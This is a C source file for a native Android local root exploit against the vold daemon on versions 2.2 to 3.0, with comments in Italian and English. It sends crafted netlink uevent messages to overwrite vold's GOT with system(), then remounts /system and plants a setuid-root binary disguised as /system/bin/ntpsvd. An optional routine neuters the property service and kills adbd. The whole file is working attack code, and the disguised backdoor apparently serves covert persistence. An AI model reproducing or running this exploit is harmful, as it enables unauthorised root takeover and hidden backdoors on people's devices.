legacy_native/jni/local2root/exploit.c
/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
* (checked for upper limit but not against negative values).
*
* Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
* and then triggering such call with provided pointer. :D
* We nevermind NX protections and what they call ROP.
*
* (C) 2010-2011 The Android Exploid Crew
*
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
* MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
* I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
*
* It only works if called from adb shell since we need
* group log. <-- Ahhahahaha come rido!!!!! Que - :D
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <jni.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <dirent.h>
#include <stdint.h>
#include <android/log.h>
#define ASHMEM_NAME_LEN 256
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
//#define LOG(x) printf(x)
//#define LOG(x) logonfile(x)
#define LOG(x) logonout(x)
static struct {
pid_t pid;
uint32_t got_start, got_end;
uint32_t system;
char *device;
char found;
} vold;
static pid_t logcat_pid = 69;
// La bash da runnare in caso ci serva una shell
static char *suidsh = "/data/data/com.android.networking/lib/libparse.so";
// L'exploit
static char *exploit = "/data/data/com.android.networking/files/statuslog";
// Il log dove logcat scrivera' lo stacktrace del crash
static char *crashlog = "/data/data/com.android.networking/files/errorlog";
// Checkfile: file che conferma che siamo diventati root
static char *checklog = "/data/data/com.android.networking/files/rdb";
// Applicazione che viene suiddata dall'exploit, che puo' essere invocata dal
static char *suidext = "/data/data/com.android.networking/files/statusdb";
static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1";
static int scale = 1, honeycomb = 0, froyo = 0;
extern char **environ;
time_t timestamp = 0;
int logonout(char *msg) {
if (!msg) {
return;
}
if (timestamp == 0) {
timestamp = time(NULL);
printf("Timestamp : %d\n", timestamp);
}
// http://en.wikipedia.org/wiki/Time_t
printf("%d %s", (time(NULL) - timestamp), msg);
//printf("%s" , msg);
return 0;
}
static int logonfile(const char *msg) {
int fd;
//char buf[0x1000];
if ((fd = open("exploit.log", O_RDWR | O_CREAT, 0666)) < 0) {
printf(msg);
return -1;
}
write(fd, msg, strlen(msg));
close(fd);
return 0;
}
static void die(const char *msg) {
char buf[2048];
sprintf(buf, "[-] DIE: %s", msg);
LOG(buf);
exit(errno);
}
static int copy(const char *from, const char *to) {
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0) {
return -1;
}
if ((fd2 = open(to, O_RDWR | O_CREAT | O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync();
sync();
return r;
}
static int remount_data(const char *mntpoint) {
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL) {
return -1;
}
memset(buf, 0, sizeof(buf));
for (; !feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found) {
return -1;
}
if ((dev = strtok(buf, " \t")) == NULL) {
return -1;
}
if (strtok(NULL, " \t") == NULL) {
return -1;
}
if ((fstype = strtok(NULL, " \t")) == NULL) {
return -1;
}
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
static int remount(const char *mntpoint, int flags) {
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL) {
return -1;
}
memset(buf, 0, sizeof(buf));
for (; !feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found) {
return -1;
}
if ((dev = strtok(buf, " \t")) == NULL) {
return -1;
}
if (strtok(NULL, " \t") == NULL) {
return -1;
}
if ((fstype = strtok(NULL, " \t")) == NULL) {
return -1;
}
return mount(dev, mntpoint, fstype, flags | MS_REMOUNT, 0);
}
static void *find_symbol(char *sym) {
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
if (!dlh) {
die("[-] dlopen");
}
if ((r = (void *) dlsym(dlh, sym)) == NULL) {
die("[-] dlsym");
}
dlclose(dlh);
return r;
}
static void find_got(char *file) {
int fd, i;
Elf32_Ehdr ehdr;
Elf32_Phdr phdr;
Elf32_Dyn *dyn = NULL;
size_t dyn_size = 0;
char buf[256];
memset(&ehdr, 0, sizeof(ehdr));
memset(&phdr, 0, sizeof(phdr));
if ((fd = open(file, O_RDONLY)) < 0) {
die("[-] open");
}
if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
die("[-] read");
}
if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff) {
die("[-] lseek");
}
for (i = 0; i < ehdr.e_phnum; ++i) {
if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr)) {
die("[-] read");
}
if (phdr.p_type == PT_DYNAMIC) {
break;
}
}
if (phdr.p_type != PT_DYNAMIC) {
die("[-] No GOT found!");
}
if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset) {
die("[-] lseek");
}
dyn_size = phdr.p_filesz;
sprintf(buf, "[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size,
dyn_size / sizeof(Elf32_Dyn));
LOG(buf);
if ((dyn = malloc(dyn_size)) == NULL) {
die("[-] malloc");
}
if (read(fd, dyn, dyn_size) != dyn_size) {
die("[-] read");
}
close(fd);
for (i = 0; i < dyn_size / sizeof(Elf32_Dyn); ++i) {
if (dyn[i].d_tag == DT_PLTGOT) {
break;
}
}
if (dyn[i].d_tag != DT_PLTGOT) {
die("[-] No GOT found!");
}
vold.got_start = dyn[i].d_un.d_ptr;
free(dyn);
/* Not really the end, but who cares, 64 entries should be enough
*/
vold.got_end = vold.got_start + scale * 64;
sprintf(buf, "[+] Found GOT: 0x%08x\n", vold.got_start);
LOG(buf);
}
static void find_device() {
char buf[1024], *dev = NULL, *sp = NULL;
FILE *f;
if ((f = fopen("/etc/vold.fstab", "r")) == NULL) {
if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) {
LOG("[-] No vold.fstab found. Using default.\n");
vold.device = strdup(default_dev);
return;
}
}
for (; !feof(f);) {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f)) {
break;
}
if (buf[0] == '#') {
continue;
}
if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/"))) {
break;
}
}
fclose(f);
if (!dev) {
LOG("[-] No device found. Using default.\n");
vold.device = strdup(default_dev);
} else {
if ((sp = strchr(dev, ' '))) {
*sp = 0;
vold.device = strdup(dev);
} else if ((sp = strchr(dev, '\n'))) {
*sp = 0;
vold.device = strdup(dev);
} else {
LOG("[-] No device found. Using default.\n");
vold.device = strdup(default_dev);
}
}
sprintf(buf, "[+] Using device %s\n", vold.device);
LOG(buf);
}
static void find_vold() {
char buf[2048], *ptr = NULL;
int i = 0, fd;
pid_t found = 0;
FILE *f = NULL;
vold.found = 0;
if ((f = fopen("/proc/net/netlink", "r")) == NULL) {
die("[-] fopen");
}
for (; !feof(f);) {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f)) {
break;
}
if ((ptr = strtok(buf, "\t ")) == NULL) {
break;
}
if ((ptr = strtok(NULL, "\t ")) == NULL) {
break;
}
if ((ptr = strtok(NULL, "\t ")) == NULL) {
break;
}
if (!*ptr) {
break;
}
i = atoi(ptr);
if (i <= 1) {
continue;
}
sprintf(buf, "/proc/%d/cmdline", i);
if ((fd = open(buf, O_RDONLY)) < 0) {
continue;
}
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "/system/bin/vold")) {
found = i;
break;
}
}
fclose(f);
if (!found) {
return;
}
vold.pid = found;
vold.found = 1;
/* If already called no need to look for the mappings again as
* they wont change
*/
if (vold.system) {
return;
}
ptr = find_symbol("system");
vold.system = (uint32_t) ptr;
sprintf(buf, "[+] Found system: %p strcmp: %p\n", ptr,
find_symbol("strcmp"));
LOG(buf);
return;
}
/* Needed to make it work on 2.2 too
*/
static int last_try() {
char buf[0x1000];
struct sockaddr_nl snl;
struct iovec iov = { buf, sizeof(buf) };
struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
int sock = -1, n = 0;
LOG("[*] Last try attempt\n");
do {
find_vold();
usleep(10000);
} while (!vold.found);
memset(buf, 0, sizeof(buf));
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
die("[-] socket");
}
snl.nl_pid = vold.pid;
memset(buf, 0, sizeof(buf));
// messaggi per generare int overflow
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit, 0, 0,
vold.system, 0, 0);
msg.msg_iov->iov_len = n;
n = sendmsg(sock, &msg, 0);
if (n < 0) {
LOG("[-] sendmsg() last_try() failed\n");
}
sleep(3);
close(sock);
return 0;
}
static int do_fault(uint32_t idx, int oneshot) {
char buf[0x1000];
struct sockaddr_nl snl;
struct iovec iov = { buf, sizeof(buf) };
struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 };
int sock = -1, n = 0;
do {
find_vold();
usleep(10000);
} while (!vold.found);
usleep(200000);
memset(buf, 0, sizeof(buf));
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) {
die("[-] socket");
}
snl.nl_pid = vold.pid;
memset(buf, 0, sizeof(buf));
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device,
0, 0, vold.system, 0, 0, -idx);
msg.msg_iov->iov_len = n;
n = sendmsg(sock, &msg, 0);
if (n < 0 || oneshot) {
close(sock);
sprintf(buf, "[-] sendmsg() [1] failed, error: %d\n", errno);
LOG(buf);
return n;
}
usleep(500000);
/* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
* inside vold main binary.
* Arent we smart? Using old school technique from '99 to fsck NX while others
* re-invent "ROP". Wuhahahahaha!!!
*/
if (honeycomb) {
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, exploit, 0,
exploit, 0, exploit, 0, exploit, 0, exploit, 0);
} else if (froyo) {
n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit,
0, 0, vold.system, 0, 0);
} else {
n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", exploit, exploit,
0, exploit, 0, exploit, 0, exploit, 0, exploit, 0, 0,
vold.system, 0, 0);
}
msg.msg_iov->iov_len = n;
n = sendmsg(sock, &msg, 0);
if (n < 0) {
LOG("[-] sendmsg() [2] failed\n");
}
close(sock);
return n;
}
// si potrebbe leggerlo da java
// http://www.androidsnippets.com/how-to-capture-application-log
static uint32_t find_index() {
uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
system("/system/bin/logcat -c");
LOG("[*] unlinking crashlog");
int ret = unlink(crashlog);
if (ret == -1) {
LOG("[-] Error unlinking");
}
if ((logcat_pid = fork()) == 0) {
FILE *cr = fopen(crashlog, "w");
if (cr != NULL) {
chmod(crashlog, 0666);
fclose(cr);
printf("[*] Success open and chmod\n");
} else {
printf("[-] Error: %d file: %s\n", errno, crashlog);
}
char *a[] = { "/system/bin/logcat", "-f", crashlog, NULL };
execve(*a, a, environ);
exit(1);
}
sleep(3);
idx = scale * 0x1000 / 4;
for (;;) {
if (do_fault(idx, 1) < 0) {
continue;
}
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL) {
die("[-] Unable to open crashlog file");
}
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f)) {
break;
}
if ((ptr = strstr(buf, "fault addr ")) != NULL) {
ptr += 11;
fault_addr = (uint32_t) strtoul(ptr, NULL, 16);
sprintf(buf, "[*] vold: %04d idx: %d fault addr: 0x%08x\n",
vold.pid, -idx, fault_addr);
LOG(buf);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
if (fault_addr > min && fault_addr < max) {
sprintf(buf, "[+] fault address in range (0x%08x,idx=%d)\n",
fault_addr, -idx);
LOG(buf);
break;
}
idx += 0x1000 / 4;
}
// Honeycomb needs scaling by 10
idx = (fault_addr + 4 * idx - vold.got_start) / 4;
if (scale > 1) {
idx = scale * (fault_addr + 4 * idx / scale - vold.got_start) / 4;
}
sprintf(buf, "[+] Calculated idx: %d\n", -idx);
LOG(buf);
return idx;
}
static void do_root() {
char buf[128];
remount_data("/data");
//chown(sh, 0, 0);
//chmod(sh, 04711);
sprintf(buf, "Exploit Status: EUID: %d, UID: %d\n", geteuid(), getuid());
LOG(buf);
FILE *fw = fopen(checklog, "w");
// scrive in rdb che l'exploit e' avvenuto. Java usa questo file per saperlo.
if (fw != NULL) {
LOG("Scrivo nel file\n");
fwrite(buf, strlen(buf), 1, fw);
fclose(fw);
} else {
sprintf(buf, "Fopen failed: %d\n", errno);
LOG(buf);
}
// suidshell
if (chown(suidext, 0, 0) < 0) {
sprintf(buf, "Chown failed: %d\n", errno);
LOG(buf);
}
if (chmod(suidext, 04755) < 0) {
sprintf(buf, "Chmod failed: %d\n", errno);
LOG(buf);
}
// Spostiamo la nostra "shell" in /system/bin/ntpsvd
remount("/system", 0); // RW
system(
"/system/bin/cp /data/data/com.android.networking/files/statusdb /system/bin/ntpsvd");
//system("/system/bin/dd if=/data/data/com.android.networking/files/statusdb of=/system/bin/ntpsvd2");
chown("/system/bin/ntpsvd", 0, 0);
chmod("/system/bin/ntpsvd", 04755);
remount("/system", MS_RDONLY);
sync();
exit(0);
}
int already_rooted() {
char buf[256];
struct stat sustat;
int status;
int fildes = open("/system/bin/su", O_RDWR);
status = fstat(fildes, &sustat);
close(fildes);
mode_t mode = sustat.st_mode;
uid_t uid = sustat.st_uid;
gid_t gid = sustat.st_gid;
off_t size = sustat.st_size;
int executable = (mode & S_IXOTH) && (mode & S_IROTH);
int suidded = (mode & S_ISUID);
int root = uid == 0;
int regular = S_ISREG(mode);
sprintf(buf, "[*] executable: %d suidded: %d root: %d regular: %d\n",
executable, suidded, root, regular);
LOG(buf);
return executable && suidded && root && regular;
}
void gingerBreak() {
uint32_t i = 0, j = 0, idx = 0;
char *ash[] = { suidsh, 0 };
struct stat st;
char build_id[256], version_release[256];
char buf[256];
LOG("\n[**] android 2.[2,3], 3.0 softbreak\n");
//if (copy("/proc/self/exe", exploit) < 0 || copy("/system/bin/sh", sh) < 0)
// die("[-] Cannot copy boomsh.");
chmod(exploit, 0711);
find_vold(&vold);
find_got("/system/bin/vold");
find_device();
sprintf(buf, "[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n",
vold.pid, vold.got_start, vold.got_end);
LOG(buf);
idx = find_index();
LOG("[+] kill logcat");
kill(logcat_pid, SIGKILL);
unlink(crashlog);
for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
if (do_fault(i, 0) < 0) {
++i;
--j;
LOG("[-] sendmsg() failed?\n");
continue;
}
sprintf(buf, "[*] vold: %04d idx: %08d\n", vold.pid, -i);
fflush(stdout);
LOG(buf);
// Abbiamo una shell da avviare?
if (stat(suidsh, &st) == -1) {
//sprintf(buf, "[-] stat() [1] failed: %d\n", errno);
//LOG(buf);
}
if ((st.st_mode & 04000) == 04000) {
LOG("[!] dance forever my only one\n");
break;
}
}
/* Last try, sometimes vold cant handle 2 receives in the order
* we like by do_fault()
*/
if ((st.st_mode & 04000) != 04000) {
last_try();
last_try();
if (stat(suidsh, &st) == -1) {
sprintf(buf, "[-] stat() [2] failed: %d\n", errno);
LOG(buf);
}
if ((st.st_mode & 04000) == 04000) {
LOG("\n[+] You are in luck! Last try succeeded!\n");
} else {
LOG("[-] Bad luck. Fixed vold?\n");
exit(1);
}
}
execve(*ash, ash, environ);
return;
}
#ifdef EX_PSNEUTER
int psneuter() {
char *workspace;
char *fdStr;
char *szStr;
char *ppage;
int fd;
long sz;
DIR *dir;
struct dirent *dent;
char cmdlinefile[PATH_MAX];
char cmdline[PATH_MAX];
chat buffer[256];
pid_t adbdpid = 0;
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
workspace = getenv("ANDROID_PROPERTY_WORKSPACE");
if (!workspace) {
LOG("Couldn't get workspace.\n");
return (1);
}
fdStr = workspace;
if (strstr(workspace, ",")) {
*(strstr(workspace, ",")) = 0;
} else {
LOG("Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
return (1);
}
szStr = fdStr + strlen(fdStr) + 1;
fd = atoi(fdStr);
sz = atol(szStr);
if ((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
sprintf(buffer, "mmap() failed. %s\n", strerror(errno));
LOG(buffer);
return (1);
}
if (ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) {
sprintf(buffer, "Failed to set prot mask (%s)\n", strerror(errno));
LOG(buffer);
return (1);
}
LOG("property service neutered.\n");
LOG("killing adbd. (should restart in a second or two)\n");
// now kill adbd.
dir = opendir("/proc");
if (!dir) {
sprintf(buffer, "Failed to open /proc? kill adbd manually... somehow\n");
LOG(buffer);
return (1);
}
while ((dent = readdir(dir))) {
if (strspn(dent->d_name, "0123456789") == strlen(dent->d_name)) {
// pid dir
strcpy(cmdlinefile, "/proc/");
strcat(cmdlinefile, dent->d_name);
strcat(cmdlinefile, "/cmdline");
if ((fd = open(cmdlinefile, O_RDONLY)) < 0) {
sprintf(buffer, "Failed to open cmdline for pid %s\n",
dent->d_name);
LOG(buffer);
continue;
}
if (read(fd, cmdline, PATH_MAX) < 0) {
sprintf(buffer, "Failed to read cmdline for pid %s\n",
dent->d_name);
LOG(buffer);
close(fd);
continue;
}
close(fd);
// printf("cmdline: %s\n", cmdline);
if (!strcmp(cmdline, "/sbin/adbd")) {
// we got it.
adbdpid = atoi(dent->d_name);
break;
}
}
}
if (!adbdpid) {
sprintf(buffer, "Failed to find adbd pid :(\n");
LOG(buffer);
return (1);
}
if (kill(adbdpid, SIGTERM)) {
sprintf(buffer, "Failed to kill adbd (%s)\n", strerror(errno));
LOG(buffer);
return (1);
}
return (0);
}
#endif
int main(int argc, char **argv, char **env) {
char build_id[256], version_release[256];
// se viene chiamato da vold crashato...
if (geteuid() == 0 && getuid() == 0 /*&& strstr(argv[0], "boomsh")*/) {
do_root();
return;
}
LOG(__TIME__);
LOG(" ");
LOG(__DATE__);
if (argc == 1) {
__system_property_get("ro.build.id", build_id);
__system_property_get("ro.build.version.release", version_release);
if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(
build_id, "honey") || strstr(version_release, "comb")) {
LOG("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); //3.0
scale = 10;
honeycomb = 1;
} else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(
build_id, "fr")) {
LOG("[+] Detected Froyo!\n"); //2.2
froyo = 1;
} else if (strstr(build_id, "EC") || strstr(build_id, "Ec") || strstr(
build_id, "ec")) {
LOG("[+] Detected Eclair!\n"); //2.0, 2.1
} else {
LOG("[+] Plain Gingerbread mode!\n"); //2.0
}
gingerBreak();
//system("/data/data/com.android.networking/files/statusdb 1");
return;
}
#ifdef EX_PSNEUTER
if(argc<=2){
psneuter();
system("/data/data/com.android.networking/files/statusdb 2 2");
return;
}
#endif
#ifdef EX_SU
if (argc<=3 && already_rooted()) {
LOG("[+] Detected root su!");
system(
"/system/bin/su -c /data/data/com.android.networking/files/statusdb 3 3 3");
return;
}
#endif
else{
LOG("[-] Something went wrong.");
}
}